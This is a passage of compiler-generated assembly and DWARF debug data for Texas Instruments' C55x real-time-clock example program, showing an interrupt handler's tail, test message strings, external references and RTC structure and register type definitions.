.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 439,column 5,is_stmt
MOV *port(#6432), AR1 ; |439|
BCLR @#15, AR1 ; |439|
BSET @#15, AR1 ; |439|
MOV AR1, *port(#6432) ; |439|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 440,column 2,is_stmt
AMOV #$C$FSL31, XAR3 ; |440|
MOV XAR3, dbl(*SP(#0))
$C$DW$137 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$137, DW_AT_low_pc(0x00)
.dwattr $C$DW$137, DW_AT_name("_printf")
.dwattr $C$DW$137, DW_AT_TI_call
CALL #_printf ; |440|
; call occurs [#_printf] ; |440|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 441,column 1,is_stmt
AADD #3, SP
.dwcfi cfa_offset, 1
$C$DW$138 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$138, DW_AT_low_pc(0x00)
.dwattr $C$DW$138, DW_AT_TI_return
RET
; return occurs
.dwattr $C$DW$136, DW_AT_TI_end_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c")
.dwattr $C$DW$136, DW_AT_TI_end_line(0x1b9)
.dwattr $C$DW$136, DW_AT_TI_end_column(0x01)
.dwendentry
.dwendtag $C$DW$136
;*******************************************************************************
;* FAR STRINGS *
;*******************************************************************************
.sect ".const:.string"
.align 2
$C$FSL1: .string "CSL RTC TESTS",10,10,0
.align 2
$C$FSL2: .string "This test demonstrates RTC TIMER and ALARM functionality",10
.string 0
.align 2
$C$FSL3: .string "RTC Time will be read and displayed 255 times",10,0
.align 2
$C$FSL4: .string "RTC interrupt will be generated for each Second",10,0
.align 2
$C$FSL5: .string "RTC ALARM interrupt will be generated at Time 12:12:17:512",10
.string 10,0
.align 2
$C$FSL6: .string "RTC_setCallback Failed",10,0
.align 2
$C$FSL7: .string "RTC_setCallback Successful",10,0
.align 2
$C$FSL8: .string "RTC_config Failed",10,0
.align 2
$C$FSL9: .string "RTC_config Successful",10,0
.align 2
$C$FSL10: .string "RTC_getConfig Failed",10,0
.align 2
$C$FSL11: .string "RTC_getConfig Successful",10,0
.align 2
$C$FSL12: .string "RTC_setTime Failed",10,0
.align 2
$C$FSL13: .string "RTC_setTime Successful",10,0
.align 2
$C$FSL14: .string "RTC_setDate Failed",10,0
.align 2
$C$FSL15: .string "RTC_setDate Successful",10,0
.align 2
$C$FSL16: .string "RTC_setAlarm Failed",10,0
.align 2
$C$FSL17: .string "RTC_setAlarm Successful",10,0
.align 2
$C$FSL18: .string "RTC_setPeriodicInterval Failed",10,0
.align 2
$C$FSL19: .string "RTC_setPeriodicInterval Successful",10,0
.align 2
$C$FSL20: .string "RTC_eventEnable for SEC EVENT Failed",10,0
.align 2
$C$FSL21: .string "RTC_eventEnable for SEC EVENT Successful",10,0
.align 2
$C$FSL22: .string "RTC_eventEnable for ALARM EVENT Failed",10,0
.align 2
$C$FSL23: .string "RTC_eventEnable for ALARM EVENT Successful",10,0
.align 2
$C$FSL24: .string 10,"Starting the RTC",10,10,0
.align 2
$C$FSL25: .string "RTC_getTime Failed",10,0
.align 2
$C$FSL26: .string "RTC_getDate Failed",10,0
.align 2
$C$FSL27: .string "Iteration %d: ",0
.align 2
$C$FSL28: .string "Time and Date is : %02d:%02d:%02d:%04d, %02d-%02d-%02d",10,0
.align 2
$C$FSL29: .string 10,"CSL RTC TESTS COMPLETED",10,0
.align 2
$C$FSL30: .string 10,"RTC Sec Interrupt %d",10,10,0
.align 2
$C$FSL31: .string 10,"RTC Alarm Interrupt",10,10,0
;******************************************************************************
;* UNDEFINED EXTERNAL REFERENCES *
;******************************************************************************
.global _printf
.global _RTC_reset
.global _RTC_start
.global _RTC_stop
.global _RTC_config
.global _RTC_getConfig
.global _RTC_setTime
.global _RTC_getTime
.global _RTC_setDate
.global _RTC_getDate
.global _RTC_setAlarm
.global _RTC_setPeriodicInterval
.global _RTC_eventEnable
.global _RTC_getEventId
.global _RTC_setCallback
.global _IRQ_plug
.global _IRQ_clear
.global _IRQ_clearAll
.global _IRQ_disableAll
.global _IRQ_enable
.global _IRQ_setVecs
.global _IRQ_globalDisable
.global _IRQ_globalEnable
.global _VECSTART
;*******************************************************************************
;* TYPE INFORMATION *
;*******************************************************************************
$C$DW$T$35 .dwtag DW_TAG_enumeration_type
.dwattr $C$DW$T$35, DW_AT_byte_size(0x01)
$C$DW$139 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_RTC_DAY_PERIODIC_INTERRUPT"), DW_AT_const_value(0x00)
$C$DW$140 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_RTC_HR_PERIODIC_INTERRUPT"), DW_AT_const_value(0x01)
$C$DW$141 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_RTC_MINS_PERIODIC_INTERRUPT"), DW_AT_const_value(0x02)
$C$DW$142 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_RTC_SEC_PERIODIC_INTERRUPT"), DW_AT_const_value(0x03)
$C$DW$143 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_RTC_MS_PERIODIC_INTERRUPT"), DW_AT_const_value(0x04)
.dwendtag $C$DW$T$35
$C$DW$T$36 .dwtag DW_TAG_typedef, DW_AT_name("CSL_RTCPeriodicInterruptType")
.dwattr $C$DW$T$36, DW_AT_type(*$C$DW$T$35)
.dwattr $C$DW$T$36, DW_AT_language(DW_LANG_C)
$C$DW$T$37 .dwtag DW_TAG_enumeration_type
.dwattr $C$DW$T$37, DW_AT_byte_size(0x01)
$C$DW$144 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_RTC_MSEVENT_INTERRUPT"), DW_AT_const_value(0x00)
$C$DW$145 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_RTC_SECEVENT_INTERRUPT"), DW_AT_const_value(0x01)
$C$DW$146 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_RTC_MINSEVENT_INTERRUPT"), DW_AT_const_value(0x02)
$C$DW$147 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_RTC_HREVENT_INTERRUPT"), DW_AT_const_value(0x03)
$C$DW$148 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_RTC_DAYEVENT_INTERRUPT"), DW_AT_const_value(0x04)
$C$DW$149 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_RTC_EXTEVENT_INTERRUPT"), DW_AT_const_value(0x05)
$C$DW$150 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_RTC_ALARM_INTERRUPT"), DW_AT_const_value(0x06)
$C$DW$151 .dwtag DW_TAG_enumerator, DW_AT_name("CSL_RTC_INTERRUPT_NONE"), DW_AT_const_value(0x07)
.dwendtag $C$DW$T$37
$C$DW$T$38 .dwtag DW_TAG_typedef, DW_AT_name("CSL_RTCEventType")
.dwattr $C$DW$T$38, DW_AT_type(*$C$DW$T$37)
.dwattr $C$DW$T$38, DW_AT_language(DW_LANG_C)
$C$DW$T$20 .dwtag DW_TAG_structure_type
.dwattr $C$DW$T$20, DW_AT_byte_size(0x0f)
$C$DW$152 .dwtag DW_TAG_member
.dwattr $C$DW$152, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$152, DW_AT_name("rtcmSec")
.dwattr $C$DW$152, DW_AT_TI_symbol_name("_rtcmSec")
.dwattr $C$DW$152, DW_AT_data_member_location[DW_OP_plus_uconst 0x0]
.dwattr $C$DW$152, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$153 .dwtag DW_TAG_member
.dwattr $C$DW$153, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$153, DW_AT_name("rtcsec")
.dwattr $C$DW$153, DW_AT_TI_symbol_name("_rtcsec")
.dwattr $C$DW$153, DW_AT_data_member_location[DW_OP_plus_uconst 0x1]
.dwattr $C$DW$153, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$154 .dwtag DW_TAG_member
.dwattr $C$DW$154, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$154, DW_AT_name("rtcmin")
.dwattr $C$DW$154, DW_AT_TI_symbol_name("_rtcmin")
.dwattr $C$DW$154, DW_AT_data_member_location[DW_OP_plus_uconst 0x2]
.dwattr $C$DW$154, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$155 .dwtag DW_TAG_member
.dwattr $C$DW$155, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$155, DW_AT_name("rtchour")
.dwattr $C$DW$155, DW_AT_TI_symbol_name("_rtchour")
.dwattr $C$DW$155, DW_AT_data_member_location[DW_OP_plus_uconst 0x3]
.dwattr $C$DW$155, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$156 .dwtag DW_TAG_member
.dwattr $C$DW$156, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$156, DW_AT_name("rtcday")
.dwattr $C$DW$156, DW_AT_TI_symbol_name("_rtcday")
.dwattr $C$DW$156, DW_AT_data_member_location[DW_OP_plus_uconst 0x4]
.dwattr $C$DW$156, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$157 .dwtag DW_TAG_member
.dwattr $C$DW$157, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$157, DW_AT_name("rtcmonth")
.dwattr $C$DW$157, DW_AT_TI_symbol_name("_rtcmonth")
.dwattr $C$DW$157, DW_AT_data_member_location[DW_OP_plus_uconst 0x5]
.dwattr $C$DW$157, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$158 .dwtag DW_TAG_member
.dwattr $C$DW$158, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$158, DW_AT_name("rtcyear")
.dwattr $C$DW$158, DW_AT_TI_symbol_name("_rtcyear")
.dwattr $C$DW$158, DW_AT_data_member_location[DW_OP_plus_uconst 0x6]
.dwattr $C$DW$158, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$159 .dwtag DW_TAG_member
.dwattr $C$DW$159, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$159, DW_AT_name("rtcmSeca")
.dwattr $C$DW$159, DW_AT_TI_symbol_name("_rtcmSeca")
.dwattr $C$DW$159, DW_AT_data_member_location[DW_OP_plus_uconst 0x7]
.dwattr $C$DW$159, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$160 .dwtag DW_TAG_member
.dwattr $C$DW$160, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$160, DW_AT_name("rtcseca")
.dwattr $C$DW$160, DW_AT_TI_symbol_name("_rtcseca")
.dwattr $C$DW$160, DW_AT_data_member_location[DW_OP_plus_uconst 0x8]
.dwattr $C$DW$160, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$161 .dwtag DW_TAG_member
.dwattr $C$DW$161, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$161, DW_AT_name("rtcmina")
.dwattr $C$DW$161, DW_AT_TI_symbol_name("_rtcmina")
.dwattr $C$DW$161, DW_AT_data_member_location[DW_OP_plus_uconst 0x9]
.dwattr $C$DW$161, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$162 .dwtag DW_TAG_member
.dwattr $C$DW$162, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$162, DW_AT_name("rtchoura")
.dwattr $C$DW$162, DW_AT_TI_symbol_name("_rtchoura")
.dwattr $C$DW$162, DW_AT_data_member_location[DW_OP_plus_uconst 0xa]
.dwattr $C$DW$162, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$163 .dwtag DW_TAG_member
.dwattr $C$DW$163, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$163, DW_AT_name("rtcdaya")
.dwattr $C$DW$163, DW_AT_TI_symbol_name("_rtcdaya")
.dwattr $C$DW$163, DW_AT_data_member_location[DW_OP_plus_uconst 0xb]
.dwattr $C$DW$163, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$164 .dwtag DW_TAG_member
.dwattr $C$DW$164, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$164, DW_AT_name("rtcmontha")
.dwattr $C$DW$164, DW_AT_TI_symbol_name("_rtcmontha")
.dwattr $C$DW$164, DW_AT_data_member_location[DW_OP_plus_uconst 0xc]
.dwattr $C$DW$164, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$165 .dwtag DW_TAG_member
.dwattr $C$DW$165, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$165, DW_AT_name("rtcyeara")
.dwattr $C$DW$165, DW_AT_TI_symbol_name("_rtcyeara")
.dwattr $C$DW$165, DW_AT_data_member_location[DW_OP_plus_uconst 0xd]
.dwattr $C$DW$165, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$166 .dwtag DW_TAG_member
.dwattr $C$DW$166, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$166, DW_AT_name("rtcintcr")
.dwattr $C$DW$166, DW_AT_TI_symbol_name("_rtcintcr")
.dwattr $C$DW$166, DW_AT_data_member_location[DW_OP_plus_uconst 0xe]
.dwattr $C$DW$166, DW_AT_accessibility(DW_ACCESS_public)
.dwendtag $C$DW$T$20
$C$DW$T$41 .dwtag DW_TAG_typedef, DW_AT_name("CSL_RtcConfig")
.dwattr $C$DW$T$41, DW_AT_type(*$C$DW$T$20)
.dwattr $C$DW$T$41, DW_AT_language(DW_LANG_C)
$C$DW$T$42 .dwtag DW_TAG_pointer_type
.dwattr $C$DW$T$42, DW_AT_type(*$C$DW$T$41)
.dwattr $C$DW$T$42, DW_AT_address_class(0x17)
$C$DW$T$21 .dwtag DW_TAG_structure_type
.dwattr $C$DW$T$21, DW_AT_byte_size(0x04)
$C$DW$167 .dwtag DW_TAG_member
.dwattr $C$DW$167, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$167, DW_AT_name("hours")
.dwattr $C$DW$167, DW_AT_TI_symbol_name("_hours")
.dwattr $C$DW$167, DW_AT_data_member_location[DW_OP_plus_uconst 0x0]
.dwattr $C$DW$167, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$168 .dwtag DW_TAG_member
.dwattr $C$DW$168, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$168, DW_AT_name("mins")
.dwattr $C$DW$168, DW_AT_TI_symbol_name("_mins")
.dwattr $C$DW$168, DW_AT_data_member_location[DW_OP_plus_uconst 0x1]
.dwattr $C$DW$168, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$169 .dwtag DW_TAG_member
.dwattr $C$DW$169, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$169, DW_AT_name("secs")
.dwattr $C$DW$169, DW_AT_TI_symbol_name("_secs")
.dwattr $C$DW$169, DW_AT_data_member_location[DW_OP_plus_uconst 0x2]
.dwattr $C$DW$169, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$170 .dwtag DW_TAG_member
.dwattr $C$DW$170, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$170, DW_AT_name("mSecs")
.dwattr $C$DW$170, DW_AT_TI_symbol_name("_mSecs")
.dwattr $C$DW$170, DW_AT_data_member_location[DW_OP_plus_uconst 0x3]
.dwattr $C$DW$170, DW_AT_accessibility(DW_ACCESS_public)
.dwendtag $C$DW$T$21
$C$DW$T$43 .dwtag DW_TAG_typedef, DW_AT_name("CSL_RtcTime")
.dwattr $C$DW$T$43, DW_AT_type(*$C$DW$T$21)
.dwattr $C$DW$T$43, DW_AT_language(DW_LANG_C)
$C$DW$T$44 .dwtag DW_TAG_pointer_type
.dwattr $C$DW$T$44, DW_AT_type(*$C$DW$T$43)
.dwattr $C$DW$T$44, DW_AT_address_class(0x17)
$C$DW$T$22 .dwtag DW_TAG_structure_type
.dwattr $C$DW$T$22, DW_AT_byte_size(0x03)
$C$DW$171 .dwtag DW_TAG_member
.dwattr $C$DW$171, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$171, DW_AT_name("year")
.dwattr $C$DW$171, DW_AT_TI_symbol_name("_year")
.dwattr $C$DW$171, DW_AT_data_member_location[DW_OP_plus_uconst 0x0]
.dwattr $C$DW$171, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$172 .dwtag DW_TAG_member
.dwattr $C$DW$172, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$172, DW_AT_name("month")
.dwattr $C$DW$172, DW_AT_TI_symbol_name("_month")
.dwattr $C$DW$172, DW_AT_data_member_location[DW_OP_plus_uconst 0x1]
.dwattr $C$DW$172, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$173 .dwtag DW_TAG_member
.dwattr $C$DW$173, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$173, DW_AT_name("day")
.dwattr $C$DW$173, DW_AT_TI_symbol_name("_day")
.dwattr $C$DW$173, DW_AT_data_member_location[DW_OP_plus_uconst 0x2]
.dwattr $C$DW$173, DW_AT_accessibility(DW_ACCESS_public)
.dwendtag $C$DW$T$22
$C$DW$T$45 .dwtag DW_TAG_typedef, DW_AT_name("CSL_RtcDate")
.dwattr $C$DW$T$45, DW_AT_type(*$C$DW$T$22)
.dwattr $C$DW$T$45, DW_AT_language(DW_LANG_C)
$C$DW$T$46 .dwtag DW_TAG_pointer_type
.dwattr $C$DW$T$46, DW_AT_type(*$C$DW$T$45)
.dwattr $C$DW$T$46, DW_AT_address_class(0x17)
$C$DW$T$23 .dwtag DW_TAG_structure_type
.dwattr $C$DW$T$23, DW_AT_byte_size(0x07)
$C$DW$174 .dwtag DW_TAG_member
.dwattr $C$DW$174, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$174, DW_AT_name("year")
.dwattr $C$DW$174, DW_AT_TI_symbol_name("_year")
.dwattr $C$DW$174, DW_AT_data_member_location[DW_OP_plus_uconst 0x0]
.dwattr $C$DW$174, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$175 .dwtag DW_TAG_member
.dwattr $C$DW$175, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$175, DW_AT_name("month")
.dwattr $C$DW$175, DW_AT_TI_symbol_name("_month")
.dwattr $C$DW$175, DW_AT_data_member_location[DW_OP_plus_uconst 0x1]
.dwattr $C$DW$175, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$176 .dwtag DW_TAG_member
.dwattr $C$DW$176, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$176, DW_AT_name("day")
.dwattr $C$DW$176, DW_AT_TI_symbol_name("_day")
.dwattr $C$DW$176, DW_AT_data_member_location[DW_OP_plus_uconst 0x2]
.dwattr $C$DW$176, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$177 .dwtag DW_TAG_member
.dwattr $C$DW$177, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$177, DW_AT_name("hours")
.dwattr $C$DW$177, DW_AT_TI_symbol_name("_hours")
.dwattr $C$DW$177, DW_AT_data_member_location[DW_OP_plus_uconst 0x3]
.dwattr $C$DW$177, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$178 .dwtag DW_TAG_member
.dwattr $C$DW$178, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$178, DW_AT_name("mins")
.dwattr $C$DW$178, DW_AT_TI_symbol_name("_mins")
.dwattr $C$DW$178, DW_AT_data_member_location[DW_OP_plus_uconst 0x4]
.dwattr $C$DW$178, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$179 .dwtag DW_TAG_member
.dwattr $C$DW$179, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$179, DW_AT_name("secs")
.dwattr $C$DW$179, DW_AT_TI_symbol_name("_secs")
.dwattr $C$DW$179, DW_AT_data_member_location[DW_OP_plus_uconst 0x5]
.dwattr $C$DW$179, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$180 .dwtag DW_TAG_member
.dwattr $C$DW$180, DW_AT_type(*$C$DW$T$19)
.dwattr $C$DW$180, DW_AT_name("mSecs")
.dwattr $C$DW$180, DW_AT_TI_symbol_name("_mSecs")
.dwattr $C$DW$180, DW_AT_data_member_location[DW_OP_plus_uconst 0x6]
.dwattr $C$DW$180, DW_AT_accessibility(DW_ACCESS_public)
.dwendtag $C$DW$T$23
$C$DW$T$47 .dwtag DW_TAG_typedef, DW_AT_name("CSL_RtcAlarm")
.dwattr $C$DW$T$47, DW_AT_type(*$C$DW$T$23)
.dwattr $C$DW$T$47, DW_AT_language(DW_LANG_C)
$C$DW$T$48 .dwtag DW_TAG_pointer_type
.dwattr $C$DW$T$48, DW_AT_type(*$C$DW$T$47)
.dwattr $C$DW$T$48, DW_AT_address_class(0x17)
$C$DW$T$28 .dwtag DW_TAG_structure_type
.dwattr $C$DW$T$28, DW_AT_byte_size(0x0e)
$C$DW$181 .dwtag DW_TAG_member
.dwattr $C$DW$181, DW_AT_type(*$C$DW$T$27)
.dwattr $C$DW$181, DW_AT_name("isr")
.dwattr $C$DW$181, DW_AT_TI_symbol_name("_isr")
.dwattr $C$DW$181, DW_AT_data_member_location[DW_OP_plus_uconst 0x0]
.dwattr $C$DW$181, DW_AT_accessibility(DW_ACCESS_public)
.dwendtag $C$DW$T$28
$C$DW$T$49 .dwtag DW_TAG_typedef, DW_AT_name("CSL_RtcIsrDispatchTable")
.dwattr $C$DW$T$49, DW_AT_type(*$C$DW$T$28)
.dwattr $C$DW$T$49, DW_AT_language(DW_LANG_C)
$C$DW$T$50 .dwtag DW_TAG_pointer_type
.dwattr $C$DW$T$50, DW_AT_type(*$C$DW$T$49)
.dwattr $C$DW$T$50, DW_AT_address_class(0x17)
$C$DW$T$29 .dwtag DW_TAG_structure_type
.dwattr $C$DW$T$29, DW_AT_byte_size(0x0e)
$C$DW$182 .dwtag DW_TAG_member
.dwattr $C$DW$182, DW_AT_type(*$C$DW$T$25)
.dwattr $C$DW$182, DW_AT_name("MilEvtAddr")
.dwattr $C$DW$182, DW_AT_TI_symbol_name("_MilEvtAddr")
.dwattr $C$DW$182, DW_AT_data_member_location[DW_OP_plus_uconst 0x0]
.dwattr $C$DW$182, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$183 .dwtag DW_TAG_member
.dwattr $C$DW$183, DW_AT_type(*$C$DW$T$25)
.dwattr $C$DW$183, DW_AT_name("SecEvtAddr")
.dwattr $C$DW$183, DW_AT_TI_symbol_name("_SecEvtAddr")
.dwattr $C$DW$183, DW_AT_data_member_location[DW_OP_plus_uconst 0x2]
.dwattr $C$DW$183, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$184 .dwtag DW_TAG_member
.dwattr $C$DW$184, DW_AT_type(*$C$DW$T$25)
.dwattr $C$DW$184, DW_AT_name("MinEvtAddr")
.dwattr $C$DW$184, DW_AT_TI_symbol_name("_MinEvtAddr")
.dwattr $C$DW$184, DW_AT_data_member_location[DW_OP_plus_uconst 0x4]
.dwattr $C$DW$184, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$185 .dwtag DW_TAG_member
.dwattr $C$DW$185, DW_AT_type(*$C$DW$T$25)
.dwattr $C$DW$185, DW_AT_name("HourEvtAddr")
.dwattr $C$DW$185, DW_AT_TI_symbol_name("_HourEvtAddr")
.dwattr $C$DW$185, DW_AT_data_member_location[DW_OP_plus_uconst 0x6]
.dwattr $C$DW$185, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$186 .dwtag DW_TAG_member
.dwattr $C$DW$186, DW_AT_type(*$C$DW$T$25)
.dwattr $C$DW$186, DW_AT_name("DayEvtAddr")
.dwattr $C$DW$186, DW_AT_TI_symbol_name("_DayEvtAddr")
.dwattr $C$DW$186, DW_AT_data_member_location[DW_OP_plus_uconst 0x8]
.dwattr $C$DW$186, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$187 .dwtag DW_TAG_member
.dwattr $C$DW$187, DW_AT_type(*$C$DW$T$25)
.dwattr $C$DW$187, DW_AT_name("ExtEvtAddr")
.dwattr $C$DW$187, DW_AT_TI_symbol_name("_ExtEvtAddr")
.dwattr $C$DW$187, DW_AT_data_member_location[DW_OP_plus_uconst 0xa]
.dwattr $C$DW$187, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$188 .dwtag DW_TAG_member
.dwattr $C$DW$188, DW_AT_type(*$C$DW$T$25)
.dwattr $C$DW$188, DW_AT_name("AlarmEvtAddr")
.dwattr $C$DW$188, DW_AT_TI_symbol_name("_AlarmEvtAddr")
.dwattr $C$DW$188, DW_AT_data_member_location[DW_OP_plus_uconst 0xc]
.dwattr $C$DW$188, DW_AT_accessibility(DW_ACCESS_public)
.dwendtag $C$DW$T$29
$C$DW$T$51 .dwtag DW_TAG_typedef, DW_AT_name("CSL_RtcIsrAddr")
.dwattr $C$DW$T$51, DW_AT_type(*$C$DW$T$29)
.dwattr $C$DW$T$51, DW_AT_language(DW_LANG_C)
$C$DW$T$52 .dwtag DW_TAG_pointer_type
.dwattr $C$DW$T$52, DW_AT_type(*$C$DW$T$51)
.dwattr $C$DW$T$52, DW_AT_address_class(0x17)
$C$DW$T$34 .dwtag DW_TAG_structure_type
.dwattr $C$DW$T$34, DW_AT_byte_size(0x66)
$C$DW$189 .dwtag DW_TAG_member
.dwattr $C$DW$189, DW_AT_type(*$C$DW$T$30)
.dwattr $C$DW$189, DW_AT_name("RTCINTEN")
.dwattr $C$DW$189, DW_AT_TI_symbol_name("_RTCINTEN")
.dwattr $C$DW$189, DW_AT_data_member_location[DW_OP_plus_uconst 0x0]
.dwattr $C$DW$189, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$190 .dwtag DW_TAG_member
.dwattr $C$DW$190, DW_AT_type(*$C$DW$T$30)
.dwattr $C$DW$190, DW_AT_name("RTCUPDATE")
.dwattr $C$DW$190, DW_AT_TI_symbol_name("_RTCUPDATE")
.dwattr $C$DW$190, DW_AT_data_member_location[DW_OP_plus_uconst 0x1]
.dwattr $C$DW$190, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$191 .dwtag DW_TAG_member
.dwattr $C$DW$191, DW_AT_type(*$C$DW$T$31)
.dwattr $C$DW$191, DW_AT_name("RSVD0")
.dwattr $C$DW$191, DW_AT_TI_symbol_name("_RSVD0")
.dwattr $C$DW$191, DW_AT_data_member_location[DW_OP_plus_uconst 0x2]
.dwattr $C$DW$191, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$192 .dwtag DW_TAG_member
.dwattr $C$DW$192, DW_AT_type(*$C$DW$T$30)
.dwattr $C$DW$192, DW_AT_name("RTCMIL")
.dwattr $C$DW$192, DW_AT_TI_symbol_name("_RTCMIL")
.dwattr $C$DW$192, DW_AT_data_member_location[DW_OP_plus_uconst 0x4]
.dwattr $C$DW$192, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$193 .dwtag DW_TAG_member
.dwattr $C$DW$193, DW_AT_type(*$C$DW$T$30)
.dwattr $C$DW$193, DW_AT_name("RTCMILA")
.dwattr $C$DW$193, DW_AT_TI_symbol_name("_RTCMILA")
.dwattr $C$DW$193, DW_AT_data_member_location[DW_OP_plus_uconst 0x5]
.dwattr $C$DW$193, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$194 .dwtag DW_TAG_member
.dwattr $C$DW$194, DW_AT_type(*$C$DW$T$31)
.dwattr $C$DW$194, DW_AT_name("RSVD1")
.dwattr $C$DW$194, DW_AT_TI_symbol_name("_RSVD1")
.dwattr $C$DW$194, DW_AT_data_member_location[DW_OP_plus_uconst 0x6]
.dwattr $C$DW$194, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$195 .dwtag DW_TAG_member
.dwattr $C$DW$195, DW_AT_type(*$C$DW$T$30)
.dwattr $C$DW$195, DW_AT_name("RTCSEC")
.dwattr $C$DW$195, DW_AT_TI_symbol_name("_RTCSEC")
.dwattr $C$DW$195, DW_AT_data_member_location[DW_OP_plus_uconst 0x8]
.dwattr $C$DW$195, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$196 .dwtag DW_TAG_member
.dwattr $C$DW$196, DW_AT_type(*$C$DW$T$30)
.dwattr $C$DW$196, DW_AT_name("RTCSECA")
.dwattr $C$DW$196, DW_AT_TI_symbol_name("_RTCSECA")
.dwattr $C$DW$196, DW_AT_data_member_location[DW_OP_plus_uconst 0x9]
.dwattr $C$DW$196, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$197 .dwtag DW_TAG_member
.dwattr $C$DW$197, DW_AT_type(*$C$DW$T$31)
.dwattr $C$DW$197, DW_AT_name("RSVD2")
.dwattr $C$DW$197, DW_AT_TI_symbol_name("_RSVD2")
.dwattr $C$DW$197, DW_AT_data_member_location[DW_OP_plus_uconst 0xa]
.dwattr $C$DW$197, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$198 .dwtag DW_TAG_member
.dwattr $C$DW$198, DW_AT_type(*$C$DW$T$30)
.dwattr $C$DW$198, DW_AT_name("RTCMIN")
.dwattr $C$DW$198, DW_AT_TI_symbol_name("_RTCMIN")
.dwattr $C$DW$198, DW_AT_data_member_location[DW_OP_plus_uconst 0xc]
.dwattr $C$DW$198, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$199 .dwtag DW_TAG_member
.dwattr $C$DW$199, DW_AT_type(*$C$DW$T$30)
.dwattr $C$DW$199, DW_AT_name("RTCMINA")
.dwattr $C$DW$199, DW_AT_TI_symbol_name("_RTCMINA")
.dwattr $C$DW$199, DW_AT_data_member_location[DW_OP_plus_uconst 0xd]
.dwattr $C$DW$199, DW_AT_accessibility(DW_ACCESS_public)
$C$DW$200 .dwtag DW_TAG_member
.dwattr $C$DW$200, DW_AT_type(*$C$DW$T$31)
.dwattr $C$DW$200, DW_AT_name("RSVD3")
